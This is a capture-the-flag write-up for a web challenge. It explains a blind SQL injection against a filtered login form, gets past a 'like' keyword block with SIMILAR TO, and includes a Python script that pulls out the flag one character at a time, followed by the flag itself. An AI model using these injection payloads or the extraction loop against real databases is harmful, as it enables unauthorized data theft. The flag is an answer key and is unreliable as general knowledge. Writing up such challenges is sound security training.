solved by hartmannsyg
47 | def submit_form(): try: username = request.form["username"] conn = get_database_connection() assert all(c in allowed_chars for c in username), "no character for u uwu" assert all( forbidden not in username.lower() for forbidden in forbidden_strs ), "no word for u uwu" with conn.cursor() as curr: |
Somehow, SQL injection works on this: ' or '1
returns us “We found a penguin!!!!!”
1 | SELECT * FROM penguins WHERE name = '' or '1' |
We have like
as a forbidden word but we can get around that by using SIMILAR TO
instead:
12 | allowed_chars = set(string.ascii_letters + string.digits + " 'flag{a_word}'") forbidden_strs = ["like"] |
So we first exfiltrate the length with _
which represents one character. We keep sending increasingly long chains of underscores until one matches:
1 | import requests |
0) No penguins sadg 1) No penguins sadg 2) No penguins sadg 3) No penguins sadg 4) We found a penguin!!!!! (peng) 5) No penguins sadg 6) No penguins sadg 7) We found a penguin!!!!! (emperor) 8) No penguins sadg 9) No penguins sadg 10) No penguins sadg ... 45) We found a penguin!!!!! |
So our flag is 45 chars long.
We then have our solve script:
1 | import requests import string alphabet = string.ascii_letters + string.digits + '{}_' known = '' for i in range(45): for c in alphabet: data = {"username":"'or name SIMILAR TO '" + known.replace('{','_') + c + "_"*(44-i)} # print(data["username"]) res = requests.post("https://penguin.chall.lac.tf/submit",data) # print(res.text) if '!!!' in res.text: known += c print(known + '!'*50) break print(known) |
{
is a character used in regex, and it just so happens that the character after that is a number, so to prevent throwing a error we replace it with _
when it is known (this is done in the known.replace() function in the solve script)
lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}